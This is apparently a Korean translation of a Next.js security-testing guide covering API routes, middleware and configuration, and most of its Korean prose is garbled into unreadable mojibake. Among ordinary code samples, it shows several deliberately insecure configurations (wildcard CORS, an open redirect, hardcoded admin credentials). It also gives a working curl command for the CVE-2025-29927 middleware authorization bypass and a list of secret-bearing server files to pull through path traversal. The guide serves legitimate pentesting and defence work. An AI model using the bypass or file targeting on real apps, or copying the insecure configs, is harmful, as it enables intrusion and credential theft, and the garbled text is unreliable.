// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
์ค๋ช :
- ๊ตฌ๋ฌธ:
[...]๋ ๋ชจ๋ ์ค์ฒฉ๋ ๊ฒฝ๋ก๋ฅผ ํฌ๊ดํ๋ ์บ์น์ฌ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ ๋๋ค. - ์ฌ์ฉ: ๋ค์ํ ๊ฒฝ๋ก ๊น์ด๋ ๋์ ์ธ๊ทธ๋จผํธ๋ฅผ ์ฒ๋ฆฌํด์ผ ํ๋ API์ ์ ์ฉํฉ๋๋ค.
์ค์ฒฉ ๋ผ์ฐํธ ์์:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
์ค๋ช :
- Deep Nesting: ๊ณ์ธต์ API ๊ตฌ์กฐ๋ฅผ ํ์ฉํ์ฌ ๋ฆฌ์์ค ๊ด๊ณ๋ฅผ ๋ฐ์ํฉ๋๋ค.
- Parameter Access:
params๊ฐ์ฒด๋ฅผ ํตํด ์ฌ๋ฌ ๋ผ์ฐํธ ๋งค๊ฐ๋ณ์์ ์ฝ๊ฒ ์ ๊ทผํ ์ ์์ต๋๋ค.
Next.js 12 ๋ฐ ์ด์ ๋ฒ์ ์์ API routes ์ฒ๋ฆฌ
pages ๋๋ ํฐ๋ฆฌ์ API routes (Next.js 12 ๋ฐ ์ด์ ๋ฒ์ )
Next.js 13์ด app ๋๋ ํฐ๋ฆฌ๋ฅผ ๋์
ํ๊ณ ๋ผ์ฐํ
๊ธฐ๋ฅ์ ํ์ฅํ๊ธฐ ์ ์๋, API routes๋ ์ฃผ๋ก pages ๋๋ ํฐ๋ฆฌ ๋ด์์ ์ ์๋์์ต๋๋ค. ์ด ๋ฐฉ์์ Next.js 12 ๋ฐ ์ด์ ๋ฒ์ ์์๋ ์ฌ์ ํ ๋๋ฆฌ ์ฌ์ฉ๋๊ณ ์ง์๋ฉ๋๋ค.
๊ธฐ๋ณธ API Route
ํ์ผ ๊ตฌ์กฐ:
goCopy codemy-nextjs-app/
โโโ pages/
โ โโโ api/
โ โโโ hello.js
โโโ package.json
โโโ ...
๊ตฌํ:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
์ค๋ช :
- ์์น: API routes๋
pages/api/๋๋ ํฐ๋ฆฌ์ ์์นํฉ๋๋ค. - ๋ด๋ณด๋ด๊ธฐ:
export default๋ฅผ ์ฌ์ฉํ์ฌ ํธ๋ค๋ฌ ํจ์๋ฅผ ์ ์ํฉ๋๋ค. - ํจ์ ์๊ทธ๋์ฒ: ํธ๋ค๋ฌ๋
req(HTTP request) ๋ฐres(HTTP response) ๊ฐ์ฒด๋ฅผ ๋ฐ์ต๋๋ค. - ๋ผ์ฐํ
: ํ์ผ ์ด๋ฆ (
hello.js)์ ์๋ํฌ์ธํธ/api/hello์ ๋งคํ๋ฉ๋๋ค.
๋์ API ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
bashCopy codemy-nextjs-app/
โโโ pages/
โ โโโ api/
โ โโโ users/
โ โโโ [id].js
โโโ package.json
โโโ ...
๊ตฌํ:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
์ค๋ช :
- Dynamic Segments: Square brackets (
[id].js) denote dynamic route segments. - Accessing Parameters: Use
req.query.idto access the dynamic parameter. - Handling Methods: Utilize conditional logic to handle different HTTP methods (
GET,PUT,DELETE, etc.).
๋ค์ํ HTTP ๋ฉ์๋ ์ฒ๋ฆฌ
๊ธฐ๋ณธ API ๋ผ์ฐํธ ์์ ๋ ๋จ์ผ ํจ์ ์์์ ๋ชจ๋ HTTP ๋ฉ์๋๋ฅผ ์ฒ๋ฆฌํ์ง๋ง, ๋ ๋ช ํํ๊ณ ์ ์ง๋ณด์ํ๊ธฐ ์ฝ๋๋ก ๊ฐ ๋ฉ์๋๋ฅผ ๋ช ์์ ์ผ๋ก ์ฒ๋ฆฌํ๋๋ก ์ฝ๋๋ฅผ ๊ตฌ์กฐํํ ์ ์์ต๋๋ค.
์์:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
๋ชจ๋ฒ ์ฌ๋ก:
- Separation of Concerns: ์๋ก ๋ค๋ฅธ HTTP ๋ฉ์๋์ ๋ก์ง์ ๋ช ํํ ๋ถ๋ฆฌํ์ธ์.
- Response Consistency: ํด๋ผ์ด์ธํธ ์ธก ์ฒ๋ฆฌ๋ฅผ ์ฉ์ดํ๊ฒ ํ๊ธฐ ์ํด ์๋ต ๊ตฌ์กฐ๋ฅผ ์ผ๊ด๋๊ฒ ์ ์งํ์ธ์.
- Error Handling: ์ง์๋์ง ์๋ ๋ฉ์๋์ ์๊ธฐ์น ์์ ์ค๋ฅ๋ฅผ ์ฐ์ํ๊ฒ ์ฒ๋ฆฌํ์ธ์.
CORS ์ค์
์ด๋ค ์ถ์ฒ(origin)๊ฐ API ๋ผ์ฐํธ์ ์ ๊ทผํ ์ ์๋์ง ์ ์ดํ์ฌ Cross-Origin Resource Sharing (CORS) ์ทจ์ฝ์ ์ ์ํํ์ธ์.
์๋ชป๋ ๊ตฌ์ฑ ์์:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
์ฐธ๊ณ ๋ก CORS๋ ๋ชจ๋ API routes์์ ๊ตฌ์ฑํ ์๋ ์์ต๋๋ค middleware.ts ํ์ผ ์์์:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
๋ฌธ์ :
Access-Control-Allow-Origin: '*': ๋ชจ๋ ์น์ฌ์ดํธ๊ฐ API์ ์ ๊ทผํ ์ ์๊ฒ ํ์ฉ๋์ด, ์ ์์ ์ธ ์ฌ์ดํธ๊ฐ ์ ํ ์์ด API์ ์ํธ์์ฉํ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.- Wide Method Allowance: ๋ชจ๋ ๋ฉ์๋๋ฅผ ํ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์์น ์๋ ๋์์ ์ํํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๊ณต๊ฒฉ์๋ ์ ์ฑ ์น์ฌ์ดํธ๋ฅผ ๋ง๋ค์ด API์ ์์ฒญ์ ๋ณด๋ด๊ณ , ๋ฐ์ดํฐ ์กฐํ, ๋ฐ์ดํฐ ์กฐ์ ๋๋ ์ธ์ฆ๋ ์ฌ์ฉ์๋ฅผ ๋์ ํด ์์น ์๋ ๋์์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฑ ๊ธฐ๋ฅ์ ์ ์ฉํ ์ ์์ต๋๋ค.
CORS - Misconfigurations & Bypass
ํด๋ผ์ด์ธํธ ์ธก์์์ ์๋ฒ ์ฝ๋ ๋ ธ์ถ
์๋ฒ์์ ์ฌ์ฉ๋๋ ์ฝ๋๋ฅผ ํด๋ผ์ด์ธํธ ์ธก์ ๋ ธ์ถ๋์ด ์ฌ์ฉ๋๋ ์ฝ๋์์๋ ์ฝ๊ฒ ์ฌ์ฉํ ์ ์์ต๋๋ค, ํ์ผ์ด ํด๋ผ์ด์ธํธ ์ธก์ ์ ๋ ๋ ธ์ถ๋์ง ์๋๋ก ๋ณด์ฅํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ํ์ผ ๋งจ ์์์ ๋ค์ import๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋๋ค:
import "server-only"
์ฃผ์ ํ์ผ ๋ฐ ์ญํ
middleware.ts / middleware.js
์์น: ํ๋ก์ ํธ ๋ฃจํธ ๋๋ src/ ๋ด.
๋ชฉ์ : ์์ฒญ์ด ์ฒ๋ฆฌ๋๊ธฐ ์ ์ ์๋ฒ ์ธก serverless ํจ์์์ ์ฝ๋๋ฅผ ์คํํ์ฌ ์ธ์ฆ, ๋ฆฌ๋๋ ์ ๋๋ ์๋ต ์์ ๊ณผ ๊ฐ์ ์์ ์ ์ํํ ์ ์๊ฒ ํฉ๋๋ค.
์คํ ํ๋ฆ:
- ์์ ์์ฒญ: ๋ฏธ๋ค์จ์ด๊ฐ ์์ฒญ์ ๊ฐ๋ก์ฑ๋๋ค.
- ์ฒ๋ฆฌ: ์์ฒญ์ ๋ฐ๋ผ ์์ ์ ์ํํฉ๋๋ค(์: ์ธ์ฆ ํ์ธ).
- ์๋ต ์์ : ์๋ต์ ๋ณ๊ฒฝํ๊ฑฐ๋ ๋ค์ ํธ๋ค๋ฌ๋ก ์ ์ด๋ฅผ ์ ๋ฌํ ์ ์์ต๋๋ค.
์์ ์ฌ์ฉ ์ฌ๋ก:
- ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์ ๋ฆฌ๋๋ ์ .
- ์ปค์คํ ํค๋ ์ถ๊ฐ.
- ์์ฒญ ๋ก๊น .
์ํ ๊ตฌ์ฑ:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.
- Baseline behavior is typically a 307 redirect to a login route like
/api/auth/signin. - Send a long
x-middleware-subrequestvalue (repeatmiddlewareto hitMAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- ์ธ์ฆ๋ ํ์ด์ง๋ ๋ง์ ์๋ธ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๊ธฐ ๋๋ฌธ์, ์์ฐ์ด ๋ฆฌ๋ค์ด๋ ํธ๋๋ ๊ฒ์ ๋ฐฉ์งํ๋ ค๋ฉด ๋ชจ๋ ์์ฒญ์ ํด๋น ํค๋๋ฅผ ์ถ๊ฐํ์ธ์ (์: Burp Match/Replace with an empty match string) .
next.config.js
Location: ํ๋ก์ ํธ ๋ฃจํธ.
Purpose: Next.js ๋์์ ๊ตฌ์ฑํ๋ฉฐ, ๊ธฐ๋ฅ ํ์ฑํ/๋นํ์ฑํ, webpack ๊ตฌ์ฑ ์ปค์คํฐ๋ง์ด์ง, ํ๊ฒฝ ๋ณ์ ์ค์ ๋ฐ ์ฌ๋ฌ ๋ณด์ ๊ธฐ๋ฅ ๊ตฌ์ฑ์ ๋ด๋นํฉ๋๋ค.
Key Security Configurations:
๋ณด์ ํค๋
๋ณด์ ํค๋๋ ๋ธ๋ผ์ฐ์ ์ ์ฝํ ์ธ ์ฒ๋ฆฌ ๋ฐฉ๋ฒ์ ์ง์ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณด์์ ๊ฐํํฉ๋๋ค. ์ด๋ Cross-Site Scripting (XSS), Clickjacking, MIME type sniffing๊ณผ ๊ฐ์ ๋ค์ํ ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
์์:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
์ด๋ฏธ์ง ์ต์ ํ ์ค์
Next.js๋ ์ฑ๋ฅ์ ์ํด ์ด๋ฏธ์ง๋ฅผ ์ต์ ํํ์ง๋ง, ์๋ชป๋ ๊ตฌ์ฑ์ ์ ๋ขฐํ ์ ์๋ ์์ค๊ฐ ์ ์ฑ ์ฝํ ์ธ ๋ฅผ ์ฃผ์ ํ ์ ์๊ฒ ํ๋ ๋ฑ์ ๋ณด์ ์ทจ์ฝ์ ์ ์ด๋ํ ์ ์์ต๋๋ค.
์๋ชป๋ ๊ตฌ์ฑ ์์:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': ์ธ๋ถ์ ๋ชจ๋ ์์ค(์ ๋ขฐํ ์ ์๊ฑฐ๋ ์ ์ฑ ๋๋ฉ์ธ ํฌํจ)์์ ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ ์ฑ ํ์ด๋ก๋๋ฅผ ํฌํจํ๊ฑฐ๋ ์ฌ์ฉ์๋ฅผ ์ค๋ํ๋ ๋ด์ฉ์ ๋ด์ ์ด๋ฏธ์ง๋ฅผ ํธ์คํ ํ ์ ์์ต๋๋ค.- Another problem might be to allow a domain where anyone can upload an image (like
raw.githubusercontent.com)
How attackers abuse it:
์ ์ฑ ์์ค์ ์ด๋ฏธ์ง๋ฅผ ์ฃผ์ ํจ์ผ๋ก์จ, ๊ณต๊ฒฉ์๋ phishing attacks๋ฅผ ์ํํ๊ฑฐ๋ ์ค๋ํ๋ ์ ๋ณด๋ฅผ ํ์ํ๊ฑฐ๋ ์ด๋ฏธ์ง ๋ ๋๋ง ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์์ต๋๋ค.
Environment Variables Exposure
๋ฏผ๊ฐํ ์ ๋ณด์ธ API keys์ database credentials ๊ฐ์ ํญ๋ชฉ์ ํด๋ผ์ด์ธํธ์ ๋ ธ์ถํ์ง ์๋๋ก ์์ ํ๊ฒ ๊ด๋ฆฌํ์ธ์.
a. Exposing Sensitive Variables
Bad Configuration Example:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
๋ฌธ์ :
SECRET_API_KEY:NEXT_PUBLIC_์ ๋์ฌ๊ฐ ์์ผ๋ฉด Next.js๋ ๋ณ์๋ฅผ ํด๋ผ์ด์ธํธ์ ๋ ธ์ถํ์ง ์์ต๋๋ค. ํ์ง๋ง ์ค์๋ก ์ ๋์ฌ๋ฅผ ๋ถ์ด๋ฉด(์:NEXT_PUBLIC_SECRET_API_KEY) ํด๋ผ์ด์ธํธ ์ธก์์ ์ ๊ทผ ๊ฐ๋ฅํด์ง๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๋ฏผ๊ฐํ ๋ณ์๊ฐ ํด๋ผ์ด์ธํธ์ ๋ ธ์ถ๋๋ฉด, ๊ณต๊ฒฉ์๋ ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๋ ๋คํธ์ํฌ ์์ฒญ์ ๊ฒ์ฌํ์ฌ ์ด๋ฅผ ํ๋ํ ์ ์์ผ๋ฉฐ, API, ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ ๊ธฐํ ์๋น์ค์ ๋ํ ๋ฌด๋จ ์ ๊ทผ์ ์ป์ ์ ์์ต๋๋ค.
๋ฆฌ๋๋ ์
์ ํ๋ฆฌ์ผ์ด์ ๋ด์์ URL ๋ฆฌ๋ค์ด๋ ์ ๋ฐ rewrites๋ฅผ ๊ด๋ฆฌํ์ฌ ์ฌ์ฉ์๊ฐ ์ ์ ํ ์ด๋๋๋๋ก ํ๋, open redirect ์ทจ์ฝ์ ์ ๋์ ํ์ง ์๋๋ก ํ์ธ์.
a. Open Redirect Vulnerability
์๋ชป๋ ๊ตฌ์ฑ ์:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
๋ฌธ์ :
- ๋์ ๋ชฉ์ ์ง (Dynamic Destination): ์ฌ์ฉ์๊ฐ ์์์ URL์ ์ง์ ํ ์ ์์ด open redirect ๊ณต๊ฒฉ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- ์ฌ์ฉ์ ์ ๋ ฅ ์ ๋ขฐ (Trusting User Input): ์ฌ์ฉ์ ์ ๊ณต URL์ ๊ฒ์ฆ ์์ด ๋ฆฌ๋๋ ์ ํ๋ฉด phishing, malware distribution, ๋๋ credential theft๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๊ณต๊ฒฉ์๋ ๊ทํ์ ๋๋ฉ์ธ์์ ์จ ๊ฒ์ฒ๋ผ ๋ณด์ด๋ URL์ ๋ง๋ค์ด ์ฌ์ฉ์๋ฅผ ์ ์ฑ ์ฌ์ดํธ๋ก redirectํ ์ ์์ต๋๋ค. ์:
https://yourdomain.com/redirect?url=https://malicious-site.com
์๋ณธ ๋๋ฉ์ธ์ ์ ๋ขฐํ๋ ์ฌ์ฉ์๋ ์๋์น ์๊ฒ ์ ์ฑ ์น์ฌ์ดํธ๋ก ์ด๋ํ ์ ์์ต๋๋ค.
Webpack Configuration
Next.js ์ ํ๋ฆฌ์ผ์ด์ ์ Webpack ๊ตฌ์ฑ์ ์ฌ์ฉ์ ์ ์ํ ๋ ์ฃผ์ํ์ง ์์ผ๋ฉด ์๋์น ์๊ฒ ๋ณด์ ์ทจ์ฝ์ ์ ์ด๋ํ ์ ์์ต๋๋ค.
a. ๋ฏผ๊ฐํ ๋ชจ๋ ๋ ธ์ถ
์๋ชป๋ ๊ตฌ์ฑ ์์:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
๋ฌธ์ :
- ๋ฏผ๊ฐํ ๊ฒฝ๋ก ๋ ธ์ถ: ๋ฏผ๊ฐํ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ณ์นญ์ผ๋ก ์ค์ ํ๊ณ client-side ์ ๊ทผ์ ํ์ฉํ๋ฉด ๊ธฐ๋ฐ ์ ๋ณด๊ฐ leak๋ ์ ์์ต๋๋ค.
- ๋น๋ฐ ๋ฒ๋ค๋ง: ๋ฏผ๊ฐํ ํ์ผ์ด client-side์ฉ์ผ๋ก ๋ฒ๋ค๋๋ฉด, source maps ๋๋ client-side ์ฝ๋๋ฅผ ๊ฒ์ฌํด ํด๋น ๋ด์ฉ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๊ณต๊ฒฉ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ์ ์ ๊ทผํ๊ฑฐ๋ ์ด๋ฅผ ์ฌ๊ตฌ์ฑํ์ฌ ๋ฏผ๊ฐํ ํ์ผ์ด๋ ๋ฐ์ดํฐ๋ฅผ ์ฐพ์ ์ ์ฉํ ์ ์์ต๋๋ค.
pages/_app.js and pages/_document.js
pages/_app.js
Purpose: ๊ธฐ๋ณธ App ์ปดํฌ๋ํธ๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ์ฌ ์ ์ญ ์ํ, ์คํ์ผ, ๋ฐ ๋ ์ด์์ ์ปดํฌ๋ํธ๋ฅผ ์ ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
Use Cases:
- ๊ธ๋ก๋ฒ CSS ์ฃผ์ .
- ๋ ์ด์์ ๋ํผ ์ถ๊ฐ.
- ์ํ ๊ด๋ฆฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํตํฉ.
Example:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
๋ชฉ์ : ๊ธฐ๋ณธ Document๋ฅผ ์ฌ์ ์ํ์ฌ HTML ๋ฐ Body ํ๊ทธ๋ฅผ ์ฌ์ฉ์ํํ ์ ์๊ฒ ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
<html>๋๋<body>ํ๊ทธ ์์ .- meta ํ๊ทธ ๋๋ ์ฌ์ฉ์ ์ ์ ์คํฌ๋ฆฝํธ ์ถ๊ฐ.
- ํ์ฌ ํฐํธ ํตํฉ.
์์:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
์ฌ์ฉ์ ์ ์ ์๋ฒ (์ ํ ์ฌํญ)
๋ชฉ์ : Next.js๋ ๋ด์ฅ ์๋ฒ๋ฅผ ์ ๊ณตํ์ง๋ง, ์ปค์คํ ๋ผ์ฐํ ์ด๋ ๊ธฐ์กด ๋ฐฑ์๋ ์๋น์ค์์ ํตํฉ ๊ฐ์ ๊ณ ๊ธ ์ฌ์ฉ ์ฌ๋ก๋ฅผ ์ํด ์ปค์คํ ์๋ฒ๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
์ฐธ๊ณ : ์ปค์คํ ์๋ฒ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฐฐํฌ ์ต์ ์ด ์ ํ๋ ์ ์์ต๋๋ค. ํนํ Next.js์ ๋ด์ฅ ์๋ฒ์ ์ต์ ํ๋ Vercel ๊ฐ์ ํ๋ซํผ์์๋ ์ ํ์ด ์ปค์ง ์ ์์ต๋๋ค.
์์:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
์ถ๊ฐ์ ์ธ ์ํคํ ์ฒ ๋ฐ ๋ณด์ ๊ณ ๋ ค์ฌํญ
ํ๊ฒฝ ๋ณ์ ๋ฐ ๊ตฌ์ฑ
๋ชฉ์ : ๋ฏผ๊ฐํ ์ ๋ณด์ ๊ตฌ์ฑ ์ค์ ์ ์ฝ๋๋ฒ ์ด์ค ์ธ๋ถ์์ ๊ด๋ฆฌํฉ๋๋ค.
๋ชจ๋ฒ ์ฌ๋ก:
.envํ์ผ ์ฌ์ฉ:.env.local์ API keys์ ๊ฐ์ ๋ณ์๋ฅผ ์ ์ฅํฉ๋๋ค(๋ฒ์ ๊ด๋ฆฌ์์ ์ ์ธ๋จ).- ๋ณ์์ ์์ ํ๊ฒ ์ ๊ทผ: ํ๊ฒฝ ๋ณ์์ ์ ๊ทผํ๋ ค๋ฉด
process.env.VARIABLE_NAME์ ์ฌ์ฉํ์ธ์. - ํด๋ผ์ด์ธํธ์ Secrets๋ฅผ ๋ ธ์ถํ์ง ๋ง์ธ์: ๋ฏผ๊ฐํ ๋ณ์๋ ์ค์ง ์๋ฒ ์ธก์์๋ง ์ฌ์ฉ๋๋๋ก ํ์ธ์.
์์:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
์ฐธ๊ณ : ๋ณ์๋ฅผ ์๋ฒ ์ธก์์๋ง ์ ํํ๋ ค๋ฉด env ๊ฐ์ฒด์์ ํด๋น ๋ณ์๋ฅผ ์๋ตํ๊ฑฐ๋ ํด๋ผ์ด์ธํธ์ ๋
ธ์ถํ๋ ค๋ฉด NEXT_PUBLIC_๋ก ์ ๋ํ์ธ์.
LFI/download endpoints๋ฅผ ํตํด ํ๊น์ผ๋ก ์ผ๊ธฐ ์ข์ ์ ์ฉํ ์๋ฒ ์ํฐํฉํธ
Next.js ์ฑ์์ path traversal ๋๋ download API๋ฅผ ๋ฐ๊ฒฌํ๋ฉด, ์๋ฒ ์ธก ๋น๋ฐ๊ณผ ์ธ์ฆ ๋ก์ง์ leakํ๋ ์ปดํ์ผ๋ ์ํฐํฉํธ๋ค์ ๋์์ผ๋ก ์ผ์ผ์ธ์:
.env/.env.localโ ์ธ์ ์ํฌ๋ฆฟ๊ณผ provider ์๊ฒฉ์ฆ๋ช ..next/routes-manifest.json๋ฐ.next/build-manifest.jsonโ ์ ์ฒด ๋ผ์ฐํธ ๋ชฉ๋ก..next/server/pages/api/auth/[...nextauth].jsโ ์ปดํ์ผ๋ NextAuth configuration ๋ณต๊ตฌ(์ข ์ขprocess.env๊ฐ์ด unset์ผ ๋ fallback passwords ํฌํจ).next.config.js/next.config.mjsโ rewrites, redirects ๋ฐ ๋ฏธ๋ค์จ์ด ๋ผ์ฐํ ๊ฒํ .
Authentication and Authorization
์ ๊ทผ ๋ฐฉ์:
- Session-Based Authentication: ์ฟ ํค๋ฅผ ์ฌ์ฉํด ์ฌ์ฉ์ ์ธ์ ์ ๊ด๋ฆฌํฉ๋๋ค.
- Token-Based Authentication: ๋ฌด์ํ ์ธ์ฆ์ ์ํด JWTs๋ฅผ ๊ตฌํํฉ๋๋ค.
- Third-Party Providers:
next-auth๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํด OAuth ์ ๊ณต์(e.g., Google, GitHub)์ ํตํฉํฉ๋๋ค.
๋ณด์ ๊ดํ:
- Secure Cookies:
HttpOnly,Secure,SameSite์์ฑ์ ์ค์ ํ์ธ์. - Password Hashing: ์ ์ฅํ๊ธฐ ์ ์ ํญ์ ๋น๋ฐ๋ฒํธ๋ฅผ ํด์ํ์ธ์.
- Input Validation: ์ ๋ ฅ์ ๊ฒ์ฆํ๊ณ ์ ์ ํ์ฌ ์ธ์ ์ ๊ณต๊ฒฉ์ ๋ฐฉ์งํ์ธ์.
์์:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
์ฑ๋ฅ ์ต์ ํ
์ ๋ต:
- ์ด๋ฏธ์ง ์ต์ ํ: ์๋ ์ด๋ฏธ์ง ์ต์ ํ๋ฅผ ์ํด Next.js์
next/image์ปดํฌ๋ํธ๋ฅผ ์ฌ์ฉํ์ธ์. - ์ฝ๋ ๋ถํ : ๋์ import๋ฅผ ํ์ฉํด ์ฝ๋๋ฅผ ๋ถํ ํ๊ณ ์ด๊ธฐ ๋ก๋ ์๊ฐ์ ์ค์ด์ธ์.
- ์บ์ฑ: API ์๋ต๊ณผ ์ ์ ์์ฐ์ ๋ํ ์บ์ฑ ์ ๋ต์ ๊ตฌํํ์ธ์.
- ์ง์ฐ ๋ก๋ฉ: ํ์ํ ๋๋ง ์ปดํฌ๋ํธ๋ ์์ฐ์ ๋ก๋ํ์ธ์.
์์:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
